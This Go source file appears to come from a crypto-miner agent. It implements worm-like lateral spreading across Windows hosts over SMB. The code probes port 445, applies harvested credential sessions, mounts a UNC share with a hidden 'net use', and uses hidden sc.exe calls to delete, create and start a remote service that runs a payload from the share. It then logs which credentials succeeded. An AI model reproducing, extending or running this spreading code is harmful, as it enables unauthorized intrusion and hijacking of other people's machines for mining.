104 lines
2.6 KiB
Go
104 lines
2.6 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"log"
|
|
"net"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func runSMBUNCSpreadSweep(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts, targets []string) {
|
|
beginSpreadSweep("smb_unc_sc", len(targets))
|
|
if len(targets) == 0 {
|
|
finishSpreadSweepImmediate()
|
|
return
|
|
}
|
|
shareRoot := uncShareRoot(opts.UNCPath)
|
|
if shareRoot != "" {
|
|
_ = ensureNetUse(shareRoot)
|
|
}
|
|
svcName := smbUNCSvcName(cfg, opts.SvcName)
|
|
binPath := formatSCBinPath(opts.UNCPath, runFlag)
|
|
for _, target := range targets {
|
|
spreadSem <- struct{}{}
|
|
go func(host string) {
|
|
defer func() { <-spreadSem }()
|
|
attemptSMBUNCSpread(host, svcName, binPath)
|
|
}(target)
|
|
}
|
|
}
|
|
|
|
func uncShareRoot(unc string) string {
|
|
unc = strings.TrimSpace(unc)
|
|
if len(unc) < 3 || !strings.HasPrefix(strings.ToLower(unc), `\\`) {
|
|
return ""
|
|
}
|
|
parts := strings.Split(unc[2:], `\`)
|
|
if len(parts) < 2 || parts[0] == "" || parts[1] == "" {
|
|
return ""
|
|
}
|
|
return `\\` + parts[0] + `\` + parts[1]
|
|
}
|
|
|
|
func ensureNetUse(share string) error {
|
|
out, err := HiddenCombinedOutput("net.exe", "use", share)
|
|
if err == nil {
|
|
return nil
|
|
}
|
|
msg := strings.ToLower(string(out))
|
|
if strings.Contains(msg, "already") || strings.Contains(msg, "success") {
|
|
return nil
|
|
}
|
|
return err
|
|
}
|
|
|
|
func formatSCBinPath(unc, args string) string {
|
|
unc = strings.TrimSpace(unc)
|
|
args = strings.TrimSpace(args)
|
|
if args == "" {
|
|
return `"` + unc + `"`
|
|
}
|
|
return `"` + unc + `" ` + args
|
|
}
|
|
|
|
func attemptSMBUNCSpread(target, svcName, binPath string) {
|
|
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
|
if err != nil {
|
|
recordSpreadAttempt(target, false, "port 445 closed")
|
|
return
|
|
}
|
|
conn.Close()
|
|
|
|
var credSession SpreadCredSession
|
|
var credCleanup func()
|
|
if session, ok := acquireSpreadCred(target, "smb_unc_sc"); ok {
|
|
credSession = session
|
|
if cleanup, applied := applySpreadCredSession(target, session); applied {
|
|
credCleanup = cleanup
|
|
}
|
|
}
|
|
if credCleanup != nil {
|
|
defer credCleanup()
|
|
}
|
|
|
|
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
|
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
|
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName,
|
|
"binPath=", binPath,
|
|
"type=", "own",
|
|
"start=", "demand")
|
|
|
|
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
|
log.Printf("[smb-unc] remote service started on %s → %s", target, svcName)
|
|
recordSpreadAttempt(target, true, "")
|
|
reportSpreadCredEdge(target, "smb_unc_sc", credSession, true)
|
|
} else {
|
|
recordSpreadAttempt(target, false, "remote sc start failed")
|
|
reportSpreadCredEdge(target, "smb_unc_sc", credSession, false)
|
|
}
|
|
}
|